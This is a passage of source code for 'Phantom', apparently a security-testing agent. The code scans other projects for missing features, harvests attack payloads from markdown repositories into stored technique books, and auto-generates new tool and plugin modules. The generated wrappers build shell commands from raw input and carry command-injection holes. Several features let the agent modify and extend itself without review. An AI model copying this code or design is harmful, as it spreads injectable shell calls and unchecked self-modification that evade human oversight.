(const m of funcs) { + const name = m[1]; + const params = m[2].trim(); + result.exports.push({ name, file: relative(result.path, fullPath) }); + + // Classify as tool if param matches known patterns + const toolParams = ["query", "target", "url", "domain", "path", "text", "data", "name", "input", "args", "cmd", "username", "email", "host", "port"]; + const hasToolParam = toolParams.some(p => params.includes(p)); + if (hasToolParam || !params) { + result.tools.push({ name, param: params.split(",")[0]?.trim() || "input", file: relative(result.path, fullPath) }); + } + } + + // Extract class definitions + const classes = content.matchAll(/^\s*class\s+(\w+)\s*[:\(]/gm); + for (const m of classes) { + result.exports.push({ name: m[1], file: relative(result.path, fullPath), type: "class" }); + } + + // Extract imports as features + const imports = content.matchAll(/(?:from\s+(\S+)\s+import|import\s+(\S+))/g); + for (const m of imports) { + const mod = m[1] || m[2]; + if (mod && !result.features.includes(mod)) { + result.features.push(mod.startsWith(".") ? mod.slice(1) : mod); + } + } + + // Detect CLI frameworks + if (content.includes("argparse") || content.includes("click") || content.includes("typer") || + content.includes("fire.Fire") || content.includes("def main")) { + result.patterns.hasCli = true; + } + + // Detect HTTP + if (content.includes("from flask") || content.includes("from fastapi") || content.includes("import requests") || + content.includes("aiohttp") || content.includes("django")) { + result.patterns.hasHttpServer = true; + } + + // Feature detection + if (/(sqlite|mongo(engine|db)?|postgres|mysql|psycopg|sqlalchemy)/i.test(content) && !result.features.includes("database")) + result.features.push("database"); + if (/(jwt|oauth|bcrypt|passlib|hashlib)/i.test(content) && !result.features.includes("auth")) + result.features.push("auth"); + if (/(redis|memcached|cache)/i.test(content) && !result.features.includes("cache")) + result.features.push("cache"); + if (/(websocket|wss?:\/\/)/i.test(content) && !result.features.includes("websocket")) + result.features.push("websocket"); + if (/(thread|multiprocess|subprocess|concurrent)/i.test(content) && !result.features.includes("ipc")) + result.features.push("ipc"); + if (/(logging|loguru)/i.test(content) && !result.features.includes("logging")) + result.features.push("logging"); +} + +function analyzeGoFile(fullPath, result) { + const content = safeReadFile(fullPath); + if (!content) return; + + // Detect module system + result.patterns.moduleSystem = "go"; + + // Extract function definitions + const funcs = content.matchAll(/^\s*func\s+(?:\([^)]*\)\s+)?([A-Z]\w+)\s*\(([^)]*)\)(?:\s*\(?[^)]*\)?)?\s*\{/gm); + for (const m of funcs) { + const name = m[1]; + const params = m[2].trim(); + result.exports.push({ name, file: relative(result.path, fullPath) }); + + const toolParams = ["query", "target", "url", "domain", "path", "text", "data", "name", "input", "args", "cmd", "host", "port", "addr"]; + const hasToolParam = toolParams.some(p => params.includes(p)); + if (hasToolParam && name[0] >= 'A' && name[0] <= 'Z') { + result.tools.push({ name, param: params.split(",")[0]?.trim() || "input", file: relative(result.path, fullPath) }); + } + } + + // Detect main function + if (content.includes("func main()")) result.patterns.hasCli = true; + + // Detect HTTP + if (/(http\.ListenAndServe|gin\.|fiber\.|echo\.|chi\.|net\/http)/.test(content)) { + result.patterns.hasHttpServer = true; + } + + // Imports + const imports = content.matchAll(/(?:"([^"]+)"|`([^`]+)`)/g); + for (const m of imports) { + const imp = (m[1] || m[2]).trim(); + if (imp.includes("/") && !result.features.includes(imp)) { + result.features.push(imp); + } + } + + // Feature detection + if (/(sqlite|mongo|postgres|mysql|database\/sql)/i.test(content) && !result.features.includes("database")) + result.features.push("database"); + if (/(jwt|oauth|bcrypt|golang-jwt)/i.test(content) && !result.features.includes("auth")) + result.features.push("auth"); + if (/(websocket|gorilla\/websocket|nhooyr\.io\/websocket)/i.test(content) && !result.features.includes("websocket")) + result.features.push("websocket"); + if (/(redis|memcached)/i.test(content) && !result.features.includes("cache")) + result.features.push("cache"); +} + +// ── 2. SELF-ANALYSIS ────────────────────────────────────── +// Analyze Phantom's own codebase to understand current capabilities. + +export function analyzeSelf() { + const toolsPath = resolve(PHANTOM_DIR, "lib", "tools.mjs"); + const configPath = resolve(PHANTOM_DIR, "lib", "config.mjs"); + const runtimePath = resolve(PHANTOM_DIR, "lib", "runtime.mjs"); + const evolvePath = resolve(PHANTOM_DIR, "lib", "evolve.mjs"); + const dashboardPath = resolve(PHANTOM_DIR, "lib", "dashboard.mjs"); + const serverPath = resolve(PHANTOM_DIR, "lib", "server.mjs"); + + const self = { + version: PHANTOM_VERSION, + files: [], + tools: [], + exports: [], + features: [], + gaps: [], + architecture: { + moduleCount: 0, + hasMultiAgent: false, + hasRepl: false, + hasApi: false, + hasGui: false, + hasPluginSystem: false, + hasTestSuite: false, + hasConfigManagement: false, + }, + }; + + // Analyze each source file + for (const [label, fp] of [ + ["phantom.mjs", resolve(PHANTOM_DIR, "phantom.mjs")], + ["lib/tools.mjs", toolsPath], + ["lib/config.mjs", configPath], + ["lib/runtime.mjs", runtimePath], + ["lib/evolve.mjs", evolvePath], + ["lib/env.mjs", resolve(PHANTOM_DIR, "lib/env.mjs")], + ["lib/session.mjs", resolve(PHANTOM_DIR, "lib/session.mjs")], + ["lib/dashboard.mjs", dashboardPath], + ["lib/server.mjs", serverPath], + ]) { + const content = safeReadFile(fp); + if (!content) continue; + self.files.push({ name: label, size: content.length, lines: content.split("\n").length }); + + // Extract exports + const exports = content.match(/(?:export\s+(?:async\s+)?function\s+(\w+)|export\s+const\s+(\w+))/g); + if (exports) { + for (const ex of exports) { + const name = ex.match(/(?:function\s+|const\s+)(\w+)/)?.[1]; + if (name) self.exports.push(name); + } + } + } + self.architecture.moduleCount = self.files.length; + + // Extract tools from tools.mjs + const toolsContent = safeReadFile(toolsPath); + if (toolsContent) { + const toolNames = toolsContent.matchAll(/(\w+):\s*async\s*\(/g); + for (const m of toolNames) { + if (m[1] !== "export") self.tools.push(m[1]); + } + } + + // Detect architecture features + const mainSrc = safeReadFile(resolve(PHANTOM_DIR, "phantom.mjs")) || ""; + self.architecture.hasMultiAgent = mainSrc.includes("AgentManager") && mainSrc.includes("spawn"); + self.architecture.hasRepl = mainSrc.includes("readline") || mainSrc.includes("REPL"); + self.architecture.hasApi = mainSrc.includes("startApiServer") || mainSrc.includes("REST"); + self.architecture.hasGui = mainSrc.includes("startGuiDashboard") || mainSrc.includes("Dashboard"); + self.architecture.hasTestSuite = fs.existsSync(resolve(PHANTOM_DIR, "test")) && + fs.readdirSync(resolve(PHANTOM_DIR, "test")).length > 0; + self.architecture.hasConfigManagement = mainSrc.includes("config") || mainSrc.includes("_config"); + + // Detect plugin system + const allSrc = (safeReadFile(toolsPath) || "") + (safeReadFile(evolvePath) || "") + mainSrc; + self.architecture.hasPluginSystem = allSrc.includes("plugin") && allSrc.includes("load"); + + // Identify categories of tools Phantom has + self.features = [ + { name: "dns_lookup", present: self.tools.includes("dns_lookup") }, + { name: "port_scanning", present: self.tools.includes("port_scan") }, + { name: "subdomain_enum", present: self.tools.includes("sub_enum") }, + { name: "http_requests", present: self.tools.includes("web_fetch") }, + { name: "ssl_check", present: self.tools.includes("ssl_check") }, + { name: "whois", present: self.tools.includes("whois") }, + { name: "cve_search", present: self.tools.includes("cve_search") }, + { name: "exploit_search", present: self.tools.includes("searchsploit") }, + { name: "vuln_scan", present: self.tools.includes("vuln_scan") }, + { name: "bruteforce", present: self.tools.includes("bruteforce") }, + { name: "file_analysis", present: self.tools.includes("file_analyze") }, + { name: "hash", present: self.tools.includes("hash") }, + { name: "encoding/decoding", present: self.tools.includes("decode") }, + { name: "crawler", present: self.tools.includes("crawl") }, + { name: "http_headers", present: self.tools.includes("http_headers") }, + { name: "yara", present: self.tools.includes("yara") }, + { name: "virustotal", present: self.tools.includes("vt_check") }, + { name: "shell_execution", present: self.tools.includes("shell") }, + { name: "code_generation", present: self.tools.includes("code_gen") }, + { name: "self_modification", present: self.tools.includes("self_edit") }, + { name: "knowledge_base", present: self.tools.includes("knowledge_add") }, + { name: "playbooks", present: self.tools.includes("playbook_list") }, + { name: "scheduling", present: self.tools.includes("schedule") || allSrc.includes("@schedule") }, + { name: "scope_management", present: self.tools.includes("scope") }, + { name: "pipeline/pipe", present: mainSrc.includes("runPipe") }, + { name: "dashboard/gui", present: self.architecture.hasGui }, + { name: "rest_api", present: self.architecture.hasApi }, + { name: "multi_agent", present: self.architecture.hasMultiAgent }, + ]; + + return self; +} + +// ── 3. GAP ANALYSIS ─────────────────────────────────────── +// Compare a scanned project against Phantom to find missing features. + +/** + * Compare project scan against Phantom's current capabilities. + * Returns an array of gaps: { priority, category, feature, description, source, suggestedApproach } + */ +export function gapAnalysis(projectScan, selfScan) { + const gaps = []; + const selfTools = new Set(selfScan.tools); + const projectTools = projectScan.tools || []; + const projectFeatures = projectScan.features || []; + + // 1. Missing external tool wrappers + const projectToolNames = new Set(projectTools.map(t => t.name)); + for (const tool of projectTools) { + if (!selfTools.has(tool.name) && !tool.name.match(/^[A-Z]/)) { + gaps.push({ + priority: "medium", + category: "missing_tool", + feature: tool.name, + description: `Project has a tool/function "${tool.name}" that Phantom doesn't wrap`, + source: `${projectScan.name}/${tool.file}`, + suggestedApproach: "generate_wrapper", + }); + } + } + + // 2. Missing feature categories + const selfFeaturesSet = new Set(selfScan.features.filter(f => f.present).map(f => f.name)); + const featureMapping = { + "websocket": { priority: "high", category: "protocol", description: "WebSocket client for real-time communication" }, + "database": { priority: "high", category: "data", description: "Database integration (SQLite, PostgreSQL, etc.)" }, + "graphql": { priority: "medium", category: "api", description: "GraphQL queries and schema introspection" }, + "auth": { priority: "high", category: "security", description: "Authentication/authorization tools" }, + "cache": { priority: "low", category: "performance", description: "Caching layer for repeated queries" }, + "logging": { priority: "low", category: "devops", description: "Structured logging" }, + "sse": { priority: "medium", category: "protocol", description: "Server-Sent Events streaming" }, + "streaming": { priority: "medium", category: "protocol", description: "Stream processing for large data" }, + "ipc": { priority: "medium", category: "system", description: "Inter-process communication" }, + }; + + for (const [featureName, mapping] of Object.entries(featureMapping)) { + if (projectFeatures.includes(featureName) && !selfFeaturesSet.has(featureName)) { + gaps.push({ + priority: mapping.priority, + category: mapping.category, + feature: featureName, + description: `${mapping.description} — present in ${projectScan.name} but missing from Phantom`, + source: projectScan.name, + suggestedApproach: "generate_module", + }); + } + } + + // 3. Architecture gaps + const proj = projectScan.patterns; + const arch = selfScan.architecture; + + if (proj.hasPluginSystem && !arch.hasPluginSystem) { + gaps.push({ + priority: "high", + category: "architecture", + feature: "plugin_system", + description: `${projectScan.name} uses a plugin system — Phantom could support hot-loadable plugins`, + source: projectScan.name, + suggestedApproach: "generate_module", + }); + } + + // 4. File structure patterns worth adopting + if (projectScan.languages["mjs"] && projectScan.languages["mjs"] > 3) { + // Another ESM project may have useful patterns + gaps.push({ + priority: "low", + category: "pattern", + feature: "esm_patterns", + description: `${projectScan.name} uses modular ESM patterns worth studying`, + source: projectScan.name, + suggestedApproach: "learn_pattern", + }); + } + + // 5. Detect if project has a README/docs system Phantom lacks + const hasDocs = projectScan.fileTree.some(f => + f.toLowerCase().includes("readme") || f.toLowerCase().includes("docs") || f.endsWith(".md") + ); + // Phantom already has --help, but structured docs are worth checking + + return gaps; +} + +// ── 4. PATTERN LEARNER ──────────────────────────────────── +// Extract reusable patterns from other projects. + +/** + * Extract coding patterns from a project's source files. + * Returns { modulePattern, errorHandling, toolPattern, cliPattern, middlewarePattern, ... } + */ +export function extractPatterns(projectPath) { + const patterns = { + moduleExports: "named", + errorStyle: "catch_return", + toolInterface: "async_single_param", + configStyle: "flat_object", + eventStyle: "none", + validatedBy: null, + samples: [], + }; + + // Count export styles + let namedExports = 0, defaultExports = 0, moduleExports = 0; + + // Walk all JS/MJS files + try { + const entries = fs.readdirSync(projectPath, { withFileTypes: true }); + for (const e of entries) { + if (e.name.startsWith(".") || e.isDirectory()) continue; + if (!e.name.endsWith(".mjs") && !e.name.endsWith(".js")) continue; + + const content = safeReadFile(resolve(projectPath, e.name)); + if (!content) continue; + + if ((content.match(/^export\s+(async\s+)?function/gm) || []).length > 0) namedExports++; + if ((content.match(/export\s+default/g) || []).length > 0) defaultExports++; + if ((content.match(/module\.exports/g) || []).length > 0) moduleExports++; + + // Error handling pattern + if (content.includes("try {") && content.includes("catch (e)")) { + if (content.match(/catch\s*\([^)]*\)\s*{[\s\S]{0,100}return\s/)) { + patterns.errorStyle = "catch_return"; + } else if (content.match(/catch\s*\([^)]*\)\s*{[\s\S]{0,100}(?:reject|throw)/)) { + patterns.errorStyle = "catch_throw"; + } else if (content.match(/catch\s*\([^)]*\)\s*{[\s\S]{0,100}(?:console|log|warn)/)) { + patterns.errorStyle = "catch_log"; + } + } + + // Tool interface pattern + if (content.match(/(\w+):\s*async\s*\(\s*(input|args|cmd)\s*\)/)) { + patterns.toolInterface = "async_single_param"; + } else if (content.match(/(\w+):\s*async\s*\(\s*\)/)) { + patterns.toolInterface = "async_no_param"; + } + + // Config pattern + if (content.includes("config") && content.includes("from")) { + patterns.configStyle = "module_import"; + } + + // Extract a sample module as reference + if (namedExports + defaultExports + moduleExports > 0 && !patterns.samples.length) { + const lines = content.split("\n"); + const sample = lines.slice(0, 40).map(l => l.trim()).filter(Boolean).slice(0, 20).join("\n"); + if (sample.length > 80) { + patterns.samples.push({ file: e.name, code: sample }); + } + } + } + } catch {} + + return patterns; +} + +/** + * Save learned patterns to disk for reference during code generation. + */ +export function savePatterns(projectName, patterns) { + ensureDir(LEARN_DIR); + const fp = resolve(LEARN_DIR, `${projectName.replace(/[^a-z0-9_-]/gi, "_")}_patterns.json`); + const data = { + project: projectName, + learned: new Date().toISOString(), + patterns, + }; + fs.writeFileSync(fp, JSON.stringify(data, null, 2), "utf-8"); + return fp; +} + +/** + * Load all saved patterns for use in code generation. + */ +export function loadAllPatterns() { + const results = {}; + ensureDir(LEARN_DIR); + const files = fs.readdirSync(LEARN_DIR).filter(f => f.endsWith("_patterns.json")); + for (const f of files) { + try { + const data = JSON.parse(fs.readFileSync(resolve(LEARN_DIR, f), "utf-8")); + results[data.project] = data.patterns; + } catch {} + } + return results; +} + +// ── 5a. TECHNIQUE EXTRACTOR ──────────────────────────────── +// Extract actual payloads/techniques from Markdown-heavy repos (PayloadsAllTheThings, etc.) + +const IGNORE_DIRS = new Set([".git", "node_modules", "dist", "build", ".github", "images", "assets", ".env"]); +const IGNORE_FILES = new Set(["README.md", "CONTRIBUTING.md", "LICENSE.md", "LICENSE", "CHANGELOG.md"]); + +/** + * Recursively find all .md files in a project. + */ +function findMarkdownFiles(dirPath, maxFiles = 500) { + const results = []; + try { + const entries = fs.readdirSync(dirPath, { withFileTypes: true }); + for (const e of entries) { + if (e.name.startsWith(".") || IGNORE_DIRS.has(e.name)) continue; + if (results.length >= maxFiles) break; + const fullPath = resolve(dirPath, e.name); + if (e.isDirectory()) { + results.push(...findMarkdownFiles(fullPath, maxFiles - results.length)); + } else if (e.isFile() && e.name.endsWith(".md") && !IGNORE_FILES.has(e.name)) { + results.push(fullPath); + } + } + } catch {} + return results; +} + +/** + * Parse a single markdown file into techniques: heading, code blocks, descriptions. + */ +function parseMarkdownFile(filePath) { + const content = safeReadFile(filePath); + if (!content || content.length < 50) return null; + + const techniques = []; + const lines = content.split("\n"); + let currentHeading = ""; + let currentDesc = ""; + + for (let i = 0; i < lines.length; i++) { + const line = lines[i]; + + // Track headings as technique categories + const headingMatch = line.match(/^(#{1,4})\s+(.+)/); + if (headingMatch) { + currentHeading = headingMatch[2].trim(); + currentDesc = ""; + continue; + } + + // Capture description text (non-code, non-empty lines before a code block) + const trimmed = line.trim(); + if (trimmed && !trimmed.startsWith("```") && !trimmed.startsWith("`") && trimmed.length > 20) { + currentDesc = trimmed.substring(0, 300); + } + + // Extract code blocks (payloads) + if (trimmed.startsWith("```") && i + 1 < lines.length) { + const lang = trimmed.slice(3).trim().split(/\s/)[0]; + const blockLines = []; + let j = i + 1; + while (j < lines.length && !lines[j].trim().startsWith("```")) { + blockLines.push(lines[j]); + j++; + } + const code = blockLines.join("\n").trim(); + if (code.length > 10 && code.length < 10000) { + techniques.push({ + heading: currentHeading || basename(dirname(filePath)), + language: lang || "text", + code: code.substring(0, 2000), + description: currentDesc.substring(0, 200), + source: filePath, + }); + } + i = j; // skip past closing ``` + continue; + } + } + + return techniques.length > 0 ? techniques : null; +} + +/** + * Extract payloads and techniques from a project's markdown files. + * Saves them as knowledge entries and technique books. + * Returns { totalFiles, totalTechniques, categories, bookFiles } + */ +export function extractTechniques(projectPath, projectName) { + const result = { + totalFiles: 0, + totalTechniques: 0, + categories: {}, + bookFiles: [], + }; + + // Ensure books dir + const booksDir = resolve(BASE_DIR, "books"); + ensureDir(booksDir); + const knowledgeDir = resolve(BASE_DIR, "knowledge"); + ensureDir(knowledgeDir); + + // Find all markdown files + const mdFiles = findMarkdownFiles(projectPath); + result.totalFiles = mdFiles.length; + + // Category from directory structure + const categoryMap = {}; // category -> [techniques] + + for (const filePath of mdFiles) { + // Determine category from relative path + const relPath = relative(projectPath, filePath); + const parts = relPath.split(/[\\/]/); + const category = parts.length > 1 ? parts.slice(0, -1).join(" > ") : "root"; + const fileName = parts[parts.length - 1].replace(/\.md$/, ""); + + const techs = parseMarkdownFile(filePath); + if (!techs) continue; + + for (const tech of techs) { + tech.category = category; + tech.fileName = fileName; + const catKey = category || "uncategorized"; + if (!categoryMap[catKey]) categoryMap[catKey] = []; + categoryMap[catKey].push(tech); + } + result.totalTechniques += techs.length; + } + + // Save per-category technique books + for (const [category, techs] of Object.entries(categoryMap)) { + const safeName = `${projectName}_${category}`.replace(/[^a-z0-9_-]/gi, "_").substring(0, 50).toLowerCase(); + const bookPath = resolve(booksDir, `${safeName}.txt`); + + let bookContent = `## Techniques from ${projectName} — ${category}\n\n`; + for (const tech of techs.slice(0, 100)) { // cap per category + bookContent += `### ${tech.heading}\n`; + if (tech.description) bookContent += `${tech.description}\n\n`; + if (tech.code) { + bookContent += `\`\`\`${tech.language}\n${tech.code}\n\`\`\`\n\n`; + } + } + fs.writeFileSync(bookPath, bookContent, "utf-8"); + result.bookFiles.push(bookPath); + result.categories[category] = techs.length; + + // Also save a knowledge entry + const knowledgeEntry = { + tags: ["auto-learned", "technique", projectName, category], + content: `Learned ${techs.length} techniques from ${projectName}/${category}. Saved to ${safeName}.txt. Categories: ${[...new Set(techs.map(t => t.heading))].slice(0, 10).join(", ")}`, + created: new Date().toISOString(), + }; + const kfPath = resolve(knowledgeDir, `technique_${safeName}.json`); + fs.writeFileSync(kfPath, JSON.stringify(knowledgeEntry, null, 2), "utf-8"); + } + + return result; +} + +// ── 5. CODE GENERATOR ───────────────────────────────────── +// Generate new Phantom code based on gaps and learned patterns. + +/** + * Generate a new tool wrapper for Phantom. + * Takes a gap description and produces { filePath, code } + */ +export function generateTool(feature, description) { + const toolName = camelCase(feature); + const ext = ".mjs"; + + const code = `// Auto-generated tool: ${toolName} +// Source: Learned from "${feature}" — ${description} +// Generated by Phantom self-improvement engine + +export default async function(input) { + try { + const { execSync } = await import("child_process"); + const { resolve } = await import("path"); + const args = (input || "").trim(); + if (!args) { + return \`[${toolName}] Usage: @${toolName}| +Feature: ${description} +Examples: + ${toolName}|--help + ${toolName}|\`; + } + const result = execSync(\`${toolName} \${args}\`, { + encoding: "utf-8", + timeout: 60000, + maxBuffer: 1024 * 1024, + }); + return result.trim() || "(no output)"; + } catch (e) { + return \`[${toolName} Error] \${e.stderr?.slice(0, 500) || e.message}\`; + } +} +`; + + ensureDir(GENERATED_DIR); + const filePath = resolve(GENERATED_DIR, `${toolName}${ext}`); + fs.writeFileSync(filePath, code, "utf-8"); + + return { filePath, toolName, code }; +} + +/** + * Generate a full new module based on a gap analysis result. + * Can generate: tool wrappers, utility modules, feature modules, middleware + */ +export function generateModule(gap, patterns) { + const category = gap.category; + const feature = gap.feature; + + switch (gap.suggestedApproach) { + case "generate_wrapper": + return generateTool(feature, gap.description); + + case "generate_module": { + return generateFeatureModule(feature, gap.description, patterns); + } + + case "learn_pattern": + return { note: `Pattern learning queued for ${feature}`, filePath: null }; + + default: + return { note: `No generator for ${feature} (${gap.suggestedApproach})`, filePath: null }; + } +} + +/** + * Generate a new feature module (e.g., websocket client, database layer). + */ +function generateFeatureModule(feature, description, patterns) { + const moduleName = camelCase(feature); + const ext = ".mjs"; + const toolStyle = patterns?.toolInterface === "async_no_param" ? "async ()" : "async (input)"; + + // Generate appropriate module based on feature type + let code = ""; + + switch (feature) { + case "websocket": + code = generateWebSocketModule(moduleName, description); + break; + case "database": + code = generateDatabaseModule(moduleName, description); + break; + case "plugin_system": + code = generatePluginModule(moduleName, description); + break; + case "graphql": + code = generateGraphQLModule(moduleName, description); + break; + case "sse": + code = generateSSEModule(moduleName, description); + break; + case "streaming": + code = generateStreamingModule(moduleName, description); + break; + case "auth": + code = generateAuthModule(moduleName, description); + break; + case "cache": + code = generateCacheModule(moduleName, description); + break; + case "ipc": + code = generateIPCModule(moduleName, description); + break; + default: + // Generic module template + code = `// Auto-generated module: ${moduleName} +// Feature: ${feature} — ${description} +// Generated by Phantom self-improvement engine + +/** + * ${description} + * @param {string} input - Command/query input + * @returns {Promise} Formatted result + */ +export default ${toolStyle} { + try { + const args = (input || "").trim(); + if (!args) { + return \`[${moduleName}] Usage: @${moduleName}| +Feature: ${description} +This module was auto-generated from pattern analysis. +Examples: + ${moduleName}|--help\`; + } + + // TODO: Implement ${feature} logic + // This module was auto-generated as a placeholder from gap analysis + return \`[${moduleName}] Module scaffold generated for: \${args} +Feature "${feature}" requires implementation. +Pattern source: ${description}\`; + } catch (e) { + return \`[${moduleName} Error] \${e.message}\`; + } +}; +`; + break; + } + + ensureDir(GENERATED_DIR); + const filePath = resolve(GENERATED_DIR, `${moduleName}${ext}`); + fs.writeFileSync(filePath, code, "utf-8"); + + return { filePath, moduleName, code }; +} + +function generateWebSocketModule(name, description) { + return `// Auto-generated module: ${name} +// Feature: WebSocket client for real-time communication +// Generated by Phantom self-improvement engine + +/** + * WebSocket client tool. + * Usage: @${name}| [--send=] [--listen=] + */ +export default async function(input) { + try { + const args = (input || "").trim(); + if (!args) { + return \`[${name}] WebSocket Client +Usage: @${name}| [--send=] +Examples: + ${name}|wss://echo.websocket.org --send=hello + ${name}|wss://stream.binance.com:9443/ws/btcusdt --listen=5000 + +Sends an optional message and prints responses. +Requires Node.js native WebSocket (Node 22+) or 'ws' package.\`; + } + + const urlMatch = args.match(/https?:\\/\\/[^\\s]+|wss?:\\/\\/[^\\s]+/); + if (!urlMatch) return \`[${name}] No WebSocket URL found in: \${args}\`; + + const url = urlMatch[0]; + const sendMatch = args.match(/--send=([^\\s]+)/); + const listenMatch = args.match(/--listen=(\\d+)/); + const listenMs = listenMatch ? parseInt(listenMatch[1]) : 3000; + + // Try native WebSocket (Node 22+) + if (typeof WebSocket !== "undefined") { + return await new Promise((resolve, reject) => { + const ws = new WebSocket(url); + const messages = []; + const timeout = setTimeout(() => { + ws.close(); + if (messages.length === 0) resolve(\`[${name}] Connected to \${url} (no messages in \${listenMs}ms)\`); + else resolve(\`[${name}] \${url}\\nMessages (\${messages.length}):\\n\${messages.join("\\n")}\`); + }, listenMs); + + ws.onopen = () => { + if (sendMatch) ws.send(sendMatch[1]); + }; + ws.onmessage = (event) => { + try { + const parsed = JSON.parse(event.data); + messages.push(typeof parsed === "object" ? JSON.stringify(parsed, null, 2).slice(0, 500) : event.data); + } catch { + messages.push(event.data.slice(0, 500)); + } + }; + ws.onerror = (err) => { clearTimeout(timeout); resolve(\`[${name} Error] \${err.message || "Connection failed"}\`); }; + ws.onclose = () => clearTimeout(timeout); + }); + } + + return \`[${name}] WebSocket not available in this Node.js version. Install 'ws' package or upgrade to Node 22+.\`; + } catch (e) { + return \`[${name} Error] \${e.message}\`; + } +}; +`; +} + +function generateDatabaseModule(name, description) { + return `// Auto-generated module: ${name} +// Feature: Database integration (SQLite) +// Generated by Phantom self-improvement engine + +import { execSync } from "child_process"; +import { resolve } from "path"; + +/** + * SQLite database query tool. + * Usage: @${name}|| + * Uses sqlite3 CLI. Install: apt install sqlite3 + */ +export default async function(input) { + try { + const parts = (input || "").split("|").map(s => s.trim()); + if (parts.length < 2) { + return \`[${name}] SQLite Database Tool +Usage: @${name}|| +Examples: + ${name}|test.db|SELECT * FROM users LIMIT 10; + ${name}|/tmp/data.db|.tables + ${name}|--tables|test.db List tables + +Requires: sqlite3 CLI (apt install sqlite3)\`; + } + + const dbPath = parts[0]; + const query = parts.slice(1).join("|"); + + // Check sqlite3 availability + try { + execSync("which sqlite3", { encoding: "utf-8", timeout: 3000 }); + } catch { + return \`[${name}] sqlite3 not found. Install: apt install sqlite3\`; + } + + const escapedQuery = query.replace(/'/g, "'\\\\''"); + const result = execSync(\`sqlite3 -header -column "\${dbPath}" '\${escapedQuery}'\`, { + encoding: "utf-8", + timeout: 30000, + maxBuffer: 1024 * 1024, + }).trim(); + + return result || "(empty result)"; + } catch (e) { + return \`[${name} Error] \${e.stderr?.slice(0, 500) || e.message}\`; + } +}; +`; +} + +function generatePluginModule(name, description) { + return `// Auto-generated module: ${name} +// Feature: Hot-loadable plugin system for Phantom +// Generated by Phantom self-improvement engine + +import fs from "fs"; +import { resolve } from "path"; +import { homedir } from "os"; + +const PLUGIN_DIRS = [ + resolve(homedir(), ".config", "phantom", "plugins"), + resolve(homedir(), "Phantom", "plugins"), +]; + +/** + * Plugin system — load, list, enable, disable plugins at runtime. + * Usage: @${name}|list + * @${name}|load| + * @${name}|enable| + * @${name}|disable| + */ +export default async function(input) { + try { + const args = (input || "").trim().split("|").map(s => s.trim()); + const command = args[0] || ""; + + if (!command || command === "--help") { + return \`[${name}] Plugin System +Commands: + @${name}|list List registered plugins + @${name}|load| Load a plugin from file + @${name}|enable| Enable a plugin + @${name}|disable| Disable a plugin + @${name}|reload Reload all plugins + @${name}|scan Scan PLUGIN_DIRS for plugins\`; + } + + // Ensure plugin dirs exist + for (const d of PLUGIN_DIRS) { + if (!fs.existsSync(d)) fs.mkdirSync(d, { recursive: true }); + } + + const registryPath = resolve(PLUGIN_DIRS[0], "registry.json"); + let registry = { enabled: {}, disabled: {}, manifest: {} }; + try { + if (fs.existsSync(registryPath)) registry = JSON.parse(fs.readFileSync(registryPath, "utf-8")); + } catch {} + + switch (command) { + case "list": { + const enabled = Object.keys(registry.enabled); + const disabled = Object.keys(registry.disabled); + const lines = [\`[${name}] Plugin Registry (\${enabled.length} enabled, \${disabled.length} disabled)\`]; + for (const p of enabled) { + const info = registry.manifest[p] || {}; + lines.push(\` ✅ \${p} — \${info.description || "no description"}\`); + } + for (const p of disabled) { + const info = registry.manifest[p] || {}; + lines.push(\` ⏸ \${p} — \${info.description || "no description"} [disabled]\`); + } + if (!enabled.length && !disabled.length) lines.push(" (no plugins registered)"); + return lines.join("\\n"); + } + + case "load": { + const pluginPath = args[1]; + if (!pluginPath) return \`[${name}] Usage: @${name}|load|\`; + if (!fs.existsSync(pluginPath)) return \`[${name}] Plugin not found: \${pluginPath}\`; + try { + const mod = await import(resolve(pluginPath) + \`?t=\${Date.now()}\`); + const name = mod.name || basename(pluginPath).replace(/\\.mjs$/, ""); + const description = mod.description || ""; + const version = mod.version || "1.0.0"; + registry.enabled[name] = { path: pluginPath, loaded: new Date().toISOString(), version }; + registry.manifest[name] = { description, version, path: pluginPath }; + fs.writeFileSync(registryPath, JSON.stringify(registry, null, 2), "utf-8"); + return \`[${name}] ✅ Loaded plugin: \${name} v\${version}\`; + } catch (e) { + return \`[${name}] Failed to load plugin: \${e.message}\`; + } + } + + case "enable": { + const pname = args[1]; + if (!pname || !registry.disabled[pname]) return \`[${name}] Plugin not found in disabled list: \${pname}\`; + registry.enabled[pname] = registry.disabled[pname]; + delete registry.disabled[pname]; + fs.writeFileSync(registryPath, JSON.stringify(registry, null, 2), "utf-8"); + return \`[${name}] ✅ Enabled plugin: \${pname}\`; + } + + case "disable": { + const dname = args[1]; + if (!dname || !registry.enabled[dname]) return \`[${name}] Plugin not found in enabled list: \${dname}\`; + registry.disabled[dname] = registry.enabled[dname]; + delete registry.enabled[dname]; + fs.writeFileSync(registryPath, JSON.stringify(registry, null, 2), "utf-8"); + return \`[${name}] ⏸ Disabled plugin: \${dname}\`; + } + + case "scan": { + let found = 0; + for (const dir of PLUGIN_DIRS) { + if (!fs.existsSync(dir)) continue; + const files = fs.readdirSync(dir).filter(f => f.endsWith(".mjs")); + for (const file of files) { + const fullPath = resolve(dir, file); + if (!registry.enabled[file.replace(/\\.mjs$/, "")]) { + try { + const mod = await import(fullPath + \`?t=\${Date.now()}\`); + const pname = mod.name || file.replace(/\\.mjs$/, ""); + registry.enabled[pname] = { path: fullPath, loaded: new Date().toISOString(), version: mod.version || "1.0.0" }; + registry.manifest[pname] = { description: mod.description || "", version: mod.version || "1.0.0", path: fullPath }; + found++; + } catch {} + } + } + } + fs.writeFileSync(registryPath, JSON.stringify(registry, null, 2), "utf-8"); + return \`[${name}] Scan complete: loaded \${found} new plugin(s)\`; + } + + default: + return \`[${name}] Unknown command: \${command}. Use @${name}|--help for usage.\`; + } + } catch (e) { + return \`[${name} Error] \${e.message}\`; + } +}; +`; +} + +function generateGraphQLModule(name, description) { + return `// Auto-generated module: ${name} +// Feature: GraphQL queries and introspection +// Generated by Phantom self-improvement engine + +/** + * GraphQL query tool. + * Usage: @${name}|| [--variables=] + */ +export default async function(input) { + try { + const args = (input || "").trim(); + if (!args) { + return \`[${name}] GraphQL Client +Usage: @${name}|| [--variables=] +Examples: + ${name}|https://api.example.com/graphql|{ __schema { types { name } } } + ${name}|https://api.github.com/graphql|query{viewer{login}} --variables={} + +Sends a GraphQL query to the endpoint and returns the response.\`; + } + + const parts = args.split("|"); + let url = parts[0]?.trim(); + let query = parts.slice(1).join("|").trim(); + + // Extract --variables + const varMatch = query.match(/--variables=(\\{[^}]+\\})/); + const variables = varMatch ? JSON.parse(varMatch[1]) : {}; + query = query.replace(/--variables=\\{[^}]+\\}/, "").trim(); + + if (!url || !query) return 